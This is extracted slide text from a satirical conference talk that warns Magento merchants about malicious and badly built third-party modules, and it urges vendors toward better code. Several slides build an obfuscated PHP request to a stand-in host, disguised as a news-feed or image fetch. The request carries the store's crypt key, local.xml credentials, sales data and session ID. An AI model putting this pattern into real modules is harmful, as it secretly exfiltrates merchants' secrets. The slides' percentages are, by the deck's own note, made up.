Pure Evil
How to Build a
Meet Magento 2015 – Leipzig, Germany
Fabrizio Branca
Magento Module
fbrnc
fbrnc
San Francisco, CA
Janine
Fiona
that’s me
Leo
Lake Tahoe, California
87.44%*of all modules
(both paid or free)
are known to be a
major risk
*Note:
Some statistics in this presentation
may or may not
be randomly made up
based on wild guesses.
Goals
help you spot
evil modules and
avoid installing
them
1 motivate vendors
to rethink their
“best practices”
2 make YOU write
better modules
3
Disclaimer:
Persons (or Companies)
Living or Dead Is
Purely Coincidental
Any Similarity to
Magento Module
How to Build a Pure Evil
in 51 simple steps
Okay, let’s get started:
7
Name
http://magename.me/
Mage ProGento
Security
http://example.com/news.xml
Annoying,
huh?
http://example.com/news.xml
?rlWgMKAmLJqyVwbvV09jMJ5
Go3IlL2IFo2AeplRvsD%3Q%3Q
…and how do you
feel about this?!
“http://example.com/news.xml?”.
“http://example.com/news.xml?”.
str_rot13(urlencode(base64_encode(json_encode(array(
'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version
)))));
“http://example.com/news.xml?”.
str_rot13(urlencode(base64_encode(json_encode(array(
'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version,
'magento_version' => Mage::getVersion()
)))));
“http://example.com/news.xml?”.
str_rot13(urlencode(base64_encode(json_encode(array(
'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version,
'magento_version' => Mage::getVersion(),
'install_date' => Mage::getConfig()->getNode('global/install/date')
)))));
“http://example.com/news.xml?”.
str_rot13(urlencode(base64_encode(json_encode(array(
'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version,
'magento_version' => Mage::getVersion(),
'install_date' => Mage::getConfig()->getNode('global/install/date'),
'lifetime_sales' => $sales->getLifetime(),
'average_orders' => $sales->getAverage()
)))));
“http://example.com/news.xml?”.
str_rot13(urlencode(base64_encode(json_encode(array(
'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version,
'magento_version' => Mage::getVersion(),
'install_date' => Mage::getConfig()->getNode('global/install/date'),
'lifetime_sales' => $sales->getLifetime(),
'average_orders' => $sales->getAverage(),
'crypt_key' => Mage::getConfig()->getNode('global/crypt/key')
)))));
“http://example.com/news.xml?”.
str_rot13(urlencode(base64_encode(json_encode(array(
'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version,
'magento_version' => Mage::getVersion(),
'install_date' => Mage::getConfig()->getNode('global/install/date'),
'lifetime_sales' => $sales->getLifetime(),
'average_orders' => $sales->getAverage(),
'crypt_key' => Mage::getConfig()->getNode('global/crypt/key'),
'local.xml' => file_get_contents('app/etc/local.xml')
)))));
“http://example.com/news.xml?”.
str_rot13(urlencode(base64_encode(json_encode(array(
'module_version' => Mage::getConfig()->getModuleConfig("MageGento_Pro")->version,
'magento_version' => Mage::getVersion(),
'install_date' => Mage::getConfig()->getNode('global/install/date'),
'lifetime_sales' => $sales->getLifetime(),
'average_orders' => $sales->getAverage(),
'crypt_key' => Mage::getConfig()->getNode('global/crypt/key'),
'local.xml' => file_get_contents('app/etc/local.xml'),
'session_id' => Mage::getSingleton('core/session')->getEncryptedSessionId()
)))));
You need to trust
EVERY. SINGLE. LINE.
you deploy to your server!
Average number of modules
~10
Launch
>100
After 2 years
per Magento store
https://twitter.com/ProductPaul/status/584393641575088128
Note: sample size may or may not be significant.
malicious
vulnerable
vs
Scalability
Performance
Chances your module ends
up on an installation with …
…more products
than on your
devbox
…a higher order
volume than on
your devbox
…more
concurrent users
than on your
devbox
73.25% 80.77% 98.53%
“Alwaysdoqueries
insideloopstosupport
salesoffullpagecache
extensions.”
http://meta.magento.stackexchange.com/questions/288/funny-
useless-horrible-code-from-magento-extensions
Assume all instances
Problem:
share a file system
If your infrastructure
looks more like this:
Route 53
ELB
CloudFront:
Theme (JS/CSS,…)
CloudFront:
media files
Internet
S3:
media
files
S3: build
packages
Continuous
Integration
Pipeline (Jenkins)
OpsWorks
Availability Zone
AWS
CloudFormation
CloudWatch
✓
✓inherently fault tolerant
✓
✓ ✓ ✓
✓
Redis:
Sessions
Redis:
Cache Backend
RDS DB
instance
RDS DB
instance standby
(Multi-AZ)
✓ ✓
Auto Scaling Group
Frontend Layer Backend Layer
Worker Layer
Varnish Layer
Data Layer
RDS DB Read
replica (for
reports)
Redis:
Full page cache
backend
✓
Production
Stack
External Services
(Fulfillment, DRM,
Giftcards,…)
SES:
Transactional
emails
✓
SQS:
Queue
✓
“Stack”
(= Environment)
“Layers”
App Instances
rather than this:
Internet
then you most likely don’t
have a shared file system
Please do not let your “configurable theme”
dynamically generate skin files
with custom CSS values.
How do you handle…
version control?
multi-server setups?
auto-scaling?
file permissions?
Code
Quality
ini_set
display_errors
memory_limit
max_execution_time
shutdown_function
spl_autoload_register
…
Don’t mess with
PHP
Rewrites of important classes
Overwrites
Core Hacks
Events
Framework behavior
Core Concepts
Compilation
…
Don’t mess with
Magento
…unless this is what
your module
is all about
<?xml version="1.0"?>
<config>
<global>
<events>
<controller_action_predispatch>
<observers>
<magegento_pro_license_check>
<class>magegento_pro/observer</class>
<method>licenseCheck</method>
</magegento_pro_license_check>
<magegento_pro_update_check>
<class>magegento_pro/observer</class>
<method>updateCheck</method>
</magegento_pro_update_check>
</observers>
</controller_action_predispatch>
</events>
</global>
</config>
Be
readable
foreach ($collection as $product) {
/* @var $product Mage_Core_Model_Product */
...
}
Be
specific
!is_null($adminKey) && $adminKey != ''
&& $request['auth']['admin_key'] = $adminKey;
Don’t Be
fancy
I don’t always test my code.
But when I do
I do it on production.
Testcases?
That’s only
for over-achievers!
Jenkins Travis CI
Use Jenkins to implement a
full deployment pipeline for
your projects!
Test our Open Source
Magento modules
with Travis CI!
Dependencies
PHP version &
extensions
3rd party
libraries
3rd party
services
other Magento
modules
1. Avoid Dependencies
2. Declare Dependencies
any dependency
increases the
complexity
significantly
Teacher
Syndrome*
*http://www.urbandictionary.com/define.php?term=Teacher+Syndrome
http://example.com/logo.gif
?rlWgMKAmLJqyVwbvV09jMJ5
Go3IlL2IFo2AeplRvsD%3Q%3Q
http://example.com/clear.gif
?rlWgMKAmLJqyVwbvV09jMJ5
Go3IlL2IFo2AeplRvsD%3Q%3Q
ZZZ_MageGento_Pro.xml
app/etc/modules/
Installation
Support
discover use
code
review
add
modman
add
composer
git integrate test
deploy
The Right Thing™
download
good luck
with that!
pay $xx
to author
provide FTP
access
seriously?!
one-click
install
Module Installation
upload
“Step 1”
upload
“Step 2”
clear
caches
You need to trust
EVERY. SINGLE. LINE.
you deploy to your server!
How do you handle…
version control?
multi-server setups?
auto-scaling?
file permissions?
Transparency
Find your sweet spot
GitHub ionCube
Find your sweet spot
GitHub ionCube
Find your sweet spot
GitHub ionCube
https://twitter.com/benmarks/status/593807195768127488
Forecast
risk a new
module crashes
your store
developer
happiness
http://freakonomics.com/2015/01/15/thats-a-great-question-a-new-freakonomics-radio-podcast/
Chances a speaker begins his answer with
“That’s a great question!”(...even if the question
wasn’t that great.)
78.84%
USA
23.47%
Europe
Thank you!
http://www.aoe.com
http://fbrnc.net
@fbrnc
Follow me on twitter!
My blog

How to Build a Pure Evil Magento Module